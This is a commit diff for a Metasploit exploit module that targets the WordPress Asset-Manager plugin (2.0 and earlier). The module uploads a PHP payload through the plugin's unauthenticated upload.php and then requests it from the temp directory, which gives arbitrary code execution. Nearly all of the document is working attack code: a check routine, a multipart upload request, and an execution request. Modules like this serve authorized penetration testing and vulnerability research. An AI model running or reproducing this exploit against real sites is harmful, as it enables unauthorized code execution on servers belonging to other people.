Land rapid7#3584, @firefart's update for wp_asset_manager_upload_exec

Author: jvazquez-r7

modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb

@@ -8,81 +8,76 @@
 class Metasploit3 < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
-  include Msf::Exploit::Remote::HttpClient
-  include Msf::Exploit::PhpEXE
+  include Msf::HTTP::Wordpress
+  include Msf::Exploit::FileDropper
 
   def initialize(info = {})
-    super(update_info(info,
+    super(update_info(
+      info,
       'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
-      'Description'    => %q{
-        This module exploits a vulnerability found in Asset-Manager <= 2.0	WordPress
-        plugin.  By abusing the upload.php file, a malicious user can upload a file to a
+      'Description'    => %q(
+        This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
+        plugin. By abusing the upload.php file, a malicious user can upload a file to a
         temp directory without authentication, which results in arbitrary code execution.
-      },
+      ),
       'Author'         =>
         [
-          'Sammy FORGIT', # initial discovery
-          'James Fitts <fitts.james[at]gmail.com>' # metasploit module
+          'Sammy FORGIT',                           # initial discovery
+          'James Fitts <fitts.james[at]gmail.com>'  # metasploit module
         ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
-          [ 'OSVDB', '82653' ],
-          [ 'BID', '53809' ],
-          [ 'EDB', '18993' ],
-          [ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html' ]
+          ['OSVDB', '82653'],
+          ['BID', '53809'],
+          ['EDB', '18993'],
+          ['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html']
         ],
-      'Payload'	     =>
-        {
-          'BadChars' => "\x00",
-        },
       'Platform'       => 'php',
       'Arch'           => ARCH_PHP,
-      'Targets'        =>
-        [
-          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
-          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
-        ],
+      'Targets'        => [['asset-manager <= 2.0', {}]],
       'DefaultTarget' => 0,
       'DisclosureDate' => 'May 26 2012'))
+  end
+
+  def check
+    uri = normalize_uri(wordpress_url_plugins, 'asset-manager', 'upload.php')
+
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri'    => uri
+    )
 
-    register_options(
-      [
-        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
-      ], self.class)
+    return Exploit::CheckCode::Unknown if res.nil? || res.code != 200
+
+    Exploit::CheckCode::Detected
   end
 
   def exploit
-    uri =  target_uri.path
-    uri << '/' if uri[-1,1] != '/'
-    peer = "#{rhost}:#{rport}"
     payload_name = "#{rand_text_alpha(5)}.php"
-    php_payload = get_write_exec_payload(:unlink_self=>true)
 
     data = Rex::MIME::Message.new
-    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
+    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
     post_data = data.to_s
 
     print_status("#{peer} - Uploading payload #{payload_name}")
-    res = send_request_cgi({
+    res = send_request_cgi(
       'method'  => 'POST',
-      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",
+      'uri'     => normalize_uri(wordpress_url_plugins, 'asset-manager', 'upload.php'),
       'ctype'   => "multipart/form-data; boundary=#{data.bound}",
       'data'    => post_data
-    })
+    )
 
-    if not res or res.code != 200 or res.body !~ /#{payload_name}/
+    if res.nil? || res.code != 200 || res.body !~ /#{payload_name}/
       fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
     end
 
+    register_files_for_cleanup(payload_name)
+
     print_status("#{peer} - Executing payload #{payload_name}")
-    res = send_request_raw({
-      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
+    send_request_raw(
+      'uri'     => normalize_uri(wordpress_url_wp_content, 'uploads', 'assets', 'temp', payload_name),
       'method'  => 'GET'
-    })
-
-    if res and res.code != 200
-      fail_with(Failure::UnexpectedReply, "#{peer} - Execution failed")
-    end
+    )
   end
 end